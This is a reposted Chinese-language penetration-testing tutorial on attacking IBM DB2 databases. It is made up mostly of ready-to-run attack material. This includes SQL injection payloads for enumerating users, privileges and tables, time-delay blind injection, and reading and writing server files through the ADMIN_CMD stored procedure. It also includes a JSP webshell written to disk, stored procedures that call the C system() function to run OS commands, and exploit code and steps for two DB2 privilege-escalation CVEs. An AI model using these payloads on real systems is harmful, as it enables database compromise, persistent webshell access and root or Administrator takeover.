DB2在滲透中的應用(轉載)
原文地址://www.vuln.cn/6160
x00 DB2簡介
DB2是IBM公司推出關係型資料庫管理系統。
現今DB2主要包含以下三個系列:
DB2 for Linux, UNIX and Windows(LUW)
DB2 for z/OS
DB2 for i(formerly OS/400)
IBM DB2定位於高端市場,廣泛應用於企業級應用中
DB2 SQL注入相關問題
獲取DB2資料庫資訊的語句
獲取資料庫版本:
#!sql
SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo
獲取當前用戶:
#!sql
SELECT user FROM sysibm.sysdummy1
SELECT session_user FROM sysibm.sysdummy1
SELECT system_user FROM sysibm.sysdummy1
獲取資料庫的用戶:
#!sql
SELECT distinct(authid) FROM sysibmadm.privileges
SELECT distinct(grantee) FROM sysibm.systabauth
獲取資料庫表的許可權:
#!sql
SELECT * FROM syscat.tabauth
獲取當前用戶的許可權:
#!sql
SELECT * FROM syscat.tabauth where grantee = current user
列出資料庫的DBA賬戶:
#!sql
SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'
獲取當前資料庫:
#!sql
SELECT current server FROM sysibm.sysdummy1
獲取當前資料庫中所有表:
#!sql
SELECT table_name FROM sysibm.tables
SELECT name FROM sysibm.systables
獲取當前資料庫中所有列:
#!sql
SELECT name, tbname, coltype FROM sysibm.syscolumns
獲取資料庫所在主機相關資訊:
#!sql
SELECT * FROM sysibmadm.env_sys_info
DB2 SQL語句特性
注釋符:
DB2資料庫使用雙連字元–作為單行注釋,使用/**/作為多行注釋
SELECT中獲得前N條記錄的SQL語法:
#!sql
SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only
截取字元串:
#!sql
SELECT substr('abc',2,1) FROM sysibm.sysdummy1
上述語句會得到字元b
比特操作AND/OR/NOT/XOR
#!sql
SELECT bitand(1,0) FROM sysibm.sysdummy1
上述語句會得到0
字元與ASCII碼互相轉換:
#!sql
SELECT chr(65) FROM sysibm.sysdummy1
上述語句會得到字元』A』
#!sql
SELECT ascii('A') FROM sysibm.sysdummy1
上述語句會得到字元』A』的ASCII碼65
類型轉換:
#!sql
SELECT cast('123' as integer) FROM sysibm.sysdummy1
上述語句將字元串」123」轉為數據123
#!sql
SELECT cast(1 as char) FROM sysibm.sysdummy1
上述語句將數字1轉為字元串」1」
字元串連接:
#!sql
SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1
SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1
上述兩個語句都會返回字元串」abc」
獲取長度:
#!sql
SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY
條件語句:
#!sql
SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1
上述語句將返回字元串』AAAAAAAAAA』
時間延遲:
#!sql
and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68
上述語句若user的第一個字元的ASCII碼為68將造成延時
UNION操作符:
DB2支援在SELECT語句中使用UNION操作符,UNION的各列必須類型相同才不會報錯。
且不能直接使用SELECT … FROM … UNION SELECT NULL, NULL … FROM …的方法。DB2在SELECT中使用NULL需要指定類型,如下:
#!sql
select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ...
多語句查詢:
DB2不支援形如statement1; statement2形式的多語句查詢
DB2的SQL注入方法
對DB2進行SQL注入通用的方法是使用盲注,利用上兩個小結的內容通過盲注獲取資料庫資訊。
由於DB2的UNION操作符限制較多,因此利用UNION注入很多時候不會成功。由於DB2不支援多語句查詢,因此無法通過多語句查詢方法注入並調用存儲過程。
另外,可利用資料庫的報錯資訊通過SQL注入獲取部分敏感資訊,如下:
先使用通用的orderby方法猜出列數
在查詢的條件後附加group by 1–會顯示本次查詢的表中的第一列列名ID,之後將條件改為group by ID–得到第二列的列名NAME,依次增加group by後的列名,如group by ID, NAME,將枚舉當前表中的所有列
DB2的SQL注入工具
經測試針對DB2的SQL注入工具中sqlmap相對具有可用性,部分截圖如下:
但經測試其仍然存在一些問題,如獲取列資訊不全、盲注功能不好用等
0x04 利用DB2讀寫作業系統文件
在滲透測試中可以使用DB2讀寫系統文件,達到獲取敏感資訊、寫webshell等目的。
本節所描述方法在DB2 V9.5 Windows, Linux下測試成功
利用DB2讀作業系統文件
DB2使用IMPORT命令從文件中讀取內容並插入到資料庫表中,使用方法:
#!sql
IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT
上述命令運行後即可將C:\Windows\win.ini的內容插入到表CONTENT中
DB2的ADMIN_CMD存儲過程用於執行DB2命令行(CLP)命令,其schema為SYSPROC,從8.2.2版本開始引入 該存儲過程語法:
#!sql
ADMIN_CMD('command_string')
參數command_string為要運行的命令
調用存儲過程使用CALL語句,語法:
#!sql
CALL ADMIN_CMD('command_string')
調用ADMIN_CMD存儲過程執行IMPORT命令將文件讀入資料庫表方法:
#!sql
CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');
運行該存儲過程的結果:
遠程連接資料庫的用戶可以通過調用ADMIN_CMD存儲過程讀取作業系統文件,經測試(DB2 V9.5)資料庫普通用戶默認具有調用ADMIN_CMD存儲過程的許可權,遠程連接資料庫的用戶可以首先創建一個表(或對已存在的IMPORT命令涉及的表有INSERT和SELECT許可權),然後調用ADMIN_CMD存儲過程運行IMPORT命令將文件讀入創建的表中。如下:
遠程連接資料庫並調用ADMIN_CMD存儲過程運行IMPORT命令:
讀取的文件資訊:
利用DB2向作業系統寫文件
DB2的EXPORT命令用於將資料庫中的內容導入到文件中,使用語法如下:
#!sql
EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;
使用上一小節提到的ADMIN_CMD存儲過程運行該命令方法:
#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');
調用過程和結果:
遠程連接資料庫的用戶可以先創建一個表(或對EXPORT命令涉及的表具有SELECT許可權),然後調用ADMIN_CMD存儲過程執行EXPORT命令向作業系統寫文件
向作業系統寫入包含某些字元串的文件語法如下:
#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
遠程調用結果:
利用該方法寫webshell語法:
#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
遠程調用結果:
註:
通過EXPORT向文件寫入自定義字元串內容時SELECT的表中必須至少有一條記錄否則寫入內容為空
0x05 利用DB2執行作業系統命令
可利用DB2存儲過程執行作業系統命令。遠程連接資料庫的用戶需要具有創建存儲過程的許可權,連接資料庫後創建一個可以執行作業系統命令的存儲過程並調用。
創建此種存儲過程並調用的語法如下:
Windows:
#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME 'c:\windows\system32\msvcrt!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
CALL db2_cmd_exec ('whoami /all > C:\whoami.log')
Linux:
#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
call db2_cmd_exec ('whoami > /tmp/whoami.log')
運行結果:
註:
創建的存儲過程默認為FENCED(受保護的),例如對於Linux下DB2的,使用db2inst1用戶連接資料庫創建並運行上述存儲,DB2伺服器端實際是以db2fenc1用戶運行該存儲過程的。
FENCED存儲過程單獨啟用一個新的地址空間,而UNFENCED存儲過程和調用它的進程使用用一個地址空間,一般來說FENCED存儲過程比較安全。
若要創建NOTFENCED的存儲過程(需要具有SYSADM特權、DBADM 特權或一個特殊的特權(CREATE_NOT_FENCED)),需要在創建存儲過程中指定,如下
#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
NOT FENCED
0x06 利用DB2提權
本節介紹兩個DB2提權漏洞原理及利用方法
CVE-2014-0907
CVE-2014-0907是一個DB2本地提權漏洞,受影響版本為AIX, Linux, HP-UX以及Solaris上的DB2 V9.5(FP9之前的V9.5不受影響), V9.7, V10.1, V10.5版本
CVE-2014-0907漏洞允許一個本地普通用戶獲取到root許可權
DB2的db2iclean程式會在當前目錄下搜索libdb2ure2.so.1庫文件,下圖為執行該程式時對庫文件的訪問情況,可見DB2對於libdb2ure2.so.1庫文件的搜索在當前目錄先於DB2安裝目錄
#!sql
strace -o /tmp/db2iclean.log /home/db2inst1/sqllib/adm/db2iclean
如果當前目錄下有惡意用戶寫入的同名庫文件,則DB2程式會載入該文件並執行其中的程式碼。由於db2iclean命令是SUID root許可權,因此惡意程式碼會以root許可權被運行。
如將下列程式碼編譯為庫文件並放在當前目錄下:
#!cpp
// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
system("id > /m.log");
}
$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp
使用db2iadm1組的普通用戶運行db2iclean程式:
#!sql
<DB2_instance_install_directory>/adm/db2iclean
可見此時euid為0,程式碼以root許可權運行
注意:由於db2iclean不是公開執行許可權,所以攻擊者需要使用db2iadm1組用戶執行,或誘使該組成員在攻擊者寫入了惡意庫文件的目錄下執行該程式。
CVE-2013-6744
CVE-2013-6744是DB2在windows平台下的提權漏洞,利用該漏洞將使windows普通用戶獲取到Administrator許可權
存在漏洞的DB2版本:
9.5, 9.7 FP9a之前版本
10.1 FP3a之前版本
10.5 FP3a之前版本
利用該漏洞需要有一個可以連接DB2資料庫的用戶,且該用戶具有創建外部常式的許可權(CREATE_EXTERNAL_ROUTINE)
該漏洞原理為:在Windows平台特權帳戶默認情況下,DB2服務運行時並不受訪問控制檢查,這意味著可以通過CREATE_EXTERNAL_ROUTINE許可權創建一個庫文件並且形成調用,從而許可權得以提升。
漏洞利用步驟:
1.使用具有CREATE_EXTERNAL_ROUTINE許可權的用戶運行以下DDL,利用C runtime system來創建一個存儲過程:
#!sql
CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME ‘msvcrt!system’ LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL
2.調用剛才創建的存儲過程:
#!sql
CALL db2_exec('whoami /all > C:\whoami.log')
查看命令創建的whoami.log文件,發現包含了db2admin資訊。這意味著,我們用一個非管理員賬戶成功用管理員許可權執行了命令。

